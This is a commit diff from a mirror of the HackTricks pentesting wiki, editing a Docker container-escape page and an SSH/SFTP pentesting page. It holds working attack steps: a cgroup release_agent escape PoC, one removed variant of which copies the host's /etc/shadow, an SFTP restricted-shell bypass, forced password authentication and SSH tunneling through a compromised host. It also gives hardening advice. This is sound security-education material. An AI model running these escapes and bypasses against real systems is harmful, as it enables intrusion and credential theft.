mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [master] 411 pages modified
This commit is contained in:
CPol
gitbook-bot
parent
ae2974fc04
commit
230c44e808
2 changed files with 113 additions and 63 deletions
|
|
@ -1,45 +1,5 @@
|
|||
# Escaping from a Docker container
|
||||
|
||||
## SYS\_ADMIN capability and AppArmor disabled
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that these aren't default settings
|
||||
{% endhint %}
|
||||
|
||||
```text
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
```
|
||||
|
||||
Then in the container, we are going to run these commands.
|
||||
|
||||
```text
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
host_path=`sed -n ‘s/.*\perdir=\([^,]*\).*/\1/p’ /etc/mtab`
|
||||
echo “$host_path/cmd” > /tmp/cgrp/release_agent
|
||||
echo ‘#!/bin/sh’ > /cmd
|
||||
echo “cat /etc/shadow > $host_path/shadow” >> /cmd
|
||||
chmod a+x /cmd
|
||||
sh -c “echo \$\$ > /tmp/cgrp/x/cgroup.procs”
|
||||
```
|
||||
|
||||
Once you execute the above commands, you can see the host OS’s passwords in /shadow folder
|
||||
|
||||
```text
|
||||
cat /shadow
|
||||
```
|
||||
|
||||
As we can see we were able to break out of the container. Suffice to say, we abused misconfigurations to escape a container.
|
||||
This wouldn’t have happened if the non-root user was used, SYS\_ADMIN and AppArmor profile wasn’t disabled.
|
||||
In short,
|
||||
|
||||
1. Do not use –privileged flag, it disables all the security mechanisms placed by docker.
|
||||
2. Do not mount root volumes into the containers.
|
||||
3. Do not mount docker.sock inside the containers.
|
||||
4. Default docker settings are sane, please do not disable them or add more capabilities.
|
||||
5. Use SecComp and AppArmor profiles to harden the container.
|
||||
6. Do not run containers as the root user.
|
||||
|
||||
## `--privileged` flag
|
||||
|
||||
{% code title="Initial PoC" %}
|
||||
|
|
@ -50,8 +10,11 @@ In short,
|
|||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
touch /o;
|
||||
echo $t/c >$d/release_agent;
|
||||
echo "#!/bin/sh $1 >$t/o" >/c;
|
||||
chmod +x /c;
|
||||
sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
|
|
|||
|
|
@ -1,5 +1,7 @@
|
|||
# 22 - Pentesting SSH/SFTP
|
||||
|
||||
##
|
||||
|
||||
## Basic Information
|
||||
|
||||
**SSH or Secure Shell or Secure Socket Shell,** is a network protocol that gives users a **secure way to access a computer over an unsecured network.**
|
||||
|
|
@ -10,6 +12,20 @@
|
|||
22/tcp open ssh syn-ack
|
||||
```
|
||||
|
||||
**SSH servers:**
|
||||
|
||||
* [openSSH](http://www.openssh.org/) – OpenBSD SSH, shipped in BSD, Linux distributions and Windows since Windows 10
|
||||
* [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH implementation for environments with low memory and processor resources, shipped in OpenWrt
|
||||
* [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementation for Windows, the client is commonly used but the use of the server is rarer
|
||||
* [CopSSH](https://www.itefix.net/copssh) – implementation of OpenSSH for Windows
|
||||
|
||||
**SSH libraries \(implementing server-side\):**
|
||||
|
||||
* [libssh](https://www.libssh.org/) – multiplatform C library implementing the SSHv2 protocol with bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) and [R](https://github.com/ropensci/ssh); it’s used by KDE for sftp and by GitHub for the git SSH infrastructure
|
||||
* [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 server library written in ANSI C and targeted for embedded, RTOS, and resource-constrained environments
|
||||
* [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java library is based on Apache MINA
|
||||
* [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protocol library
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Banner Grabbing
|
||||
|
|
@ -133,32 +149,59 @@ For more info run `crackmapexec ssh --help`.
|
|||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
|
||||
## Config files
|
||||
## Config Misconfigurations
|
||||
|
||||
### Root login
|
||||
|
||||
By default most SSH server implementation will allow root login, it is advised to disable it because if the credentials of this accounts leaks, attackers will get administrative privileges directly and this will also allow attackers to conduct bruteforce attacks on this account.
|
||||
|
||||
**How to disable root login for openSSH:**
|
||||
|
||||
1. Edit SSH server configuration `sudoedit /etc/ssh/sshd_config`
|
||||
2. Change `#PermitRootLogin yes` into `PermitRootLogin no`
|
||||
3. Take into account configuration changes: `sudo systemctl daemon-reload`
|
||||
4. Restart the SSH server `sudo systemctl restart sshd`
|
||||
|
||||
### SFTP command execution
|
||||
|
||||
Another common SSH misconfiguration is often seen in SFTP configuration. Most of the time when creating a SFTP server the administrator want users to have a SFTP access to share files but not to get a remote shell on the machine. So they think that creating a user, attributing him a placeholder shell \(like `/usr/bin/nologin` or `/usr/bin/false`\) and chrooting him in a jail is enough to avoid a shell access or abuse on the whole file system. But they are wrong, **a user can ask to execute a command right after authentication before it’s default command or shell is executed**. So to bypass the placeholder shell that will deny shell access, one only has to ask to execute a command \(eg. `/bin/bash`\) before, just by doing:
|
||||
|
||||
```text
|
||||
ssh_config
|
||||
sshd_config
|
||||
authorized_keys
|
||||
ssh_known_hosts
|
||||
known_hosts
|
||||
id_rsa
|
||||
$ ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
Password:
|
||||
debug1: Authentication succeeded (keyboard-interactive).
|
||||
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
|
||||
debug1: channel 0: new [client-session]
|
||||
debug1: Requesting no-more-sessions@openssh.com
|
||||
debug1: Entering interactive session.
|
||||
debug1: pledge: network
|
||||
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
|
||||
debug1: Sending command: id
|
||||
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
|
||||
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
|
||||
uid=1000(noraj) gid=100(users) groups=100(users)
|
||||
debug1: channel 0: free: client-session, nchannels 1
|
||||
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
|
||||
Bytes per second: sent 43133.4, received 44349.5
|
||||
debug1: Exit status 0
|
||||
|
||||
$ ssh noraj@192.168.1.94 /bin/bash
|
||||
```
|
||||
|
||||
## Hardening SSH
|
||||
Here is an example of secure SFTP configuration \(`/etc/ssh/sshd_config` – openSSH\) for the user `noraj`:
|
||||
|
||||
You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening_guides.html)
|
||||
```text
|
||||
Match User noraj
|
||||
ChrootDirectory %h
|
||||
ForceCommand internal-sftp
|
||||
AllowTcpForwarding no
|
||||
PermitTunnel no
|
||||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
|
||||
## SFTP
|
||||
|
||||
You can configure **SSH to behave as a SFTP** server. So, some users will connect to SFTP service \(in port 22\) instead of to the SSH service.
|
||||
|
||||
You can even set a **chroot to the SFTP users**. A configuration example of SFTP users inside the file _**/etc/ssh/sshd\_config**_ can be seen in the following images.
|
||||
|
||||
All the **ots-\*** users will be jailed inside a **chroot**.
|
||||
|
||||
|
||||
|
||||
|
||||
This configuration will allow only SFTP: disabling shell access by forcing the start command and disabling TTY access but also disabling all kind of port forwarding or tunneling.
|
||||
|
||||
### SFTP Tunneling
|
||||
|
||||
|
|
@ -168,7 +211,7 @@ If you have access to a SFTP server you can also tunnel your traffic through thi
|
|||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
|
||||
### Symlink
|
||||
### SFTP Symlink
|
||||
|
||||
The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** \(for example, if you can access the symlink from the web\), you could **open the symlinked files through the web**.
|
||||
|
||||
|
|
@ -180,3 +223,47 @@ sftp> symlink / froot
|
|||
|
||||
If you can access the file "_froot_" via web, you will be able to list the root \("/"\) folder of the system.
|
||||
|
||||
### Authentication methods
|
||||
|
||||
On high security environment it’s a common practice to enable only key-based or two factor authentication rather than the simple factor password based authentication. But often the stronger authentication methods are enabled without disabling the weaker ones. A frequent case is enabling `publickey` on openSSH configuration and setting it as the default method but not disabling `password`. So by using the verbose mode of the SSH client an attacker can see that a weaker method is enabled:
|
||||
|
||||
```text
|
||||
$ ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
|
||||
For example if an authentication failure limit is set and you never get the chance to reach the password method, you can use the `PreferredAuthentications` option to force to use this method.
|
||||
|
||||
```text
|
||||
$ ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
debug1: Next authentication method: password
|
||||
```
|
||||
|
||||
Review the SSH server configuration is necessary to check that only expected
|
||||
methods are authorized. Using the verbose mode on the client can help to see
|
||||
the effectiveness of the configuration.
|
||||
|
||||
### Config files
|
||||
|
||||
```text
|
||||
ssh_config
|
||||
sshd_config
|
||||
authorized_keys
|
||||
ssh_known_hosts
|
||||
known_hosts
|
||||
id_rsa
|
||||
```
|
||||
|
||||
## Fuzzing
|
||||
|
||||
* [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
* [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||
|
||||
## References
|
||||
|
||||
* You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening_guides.html)
|
||||
* [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue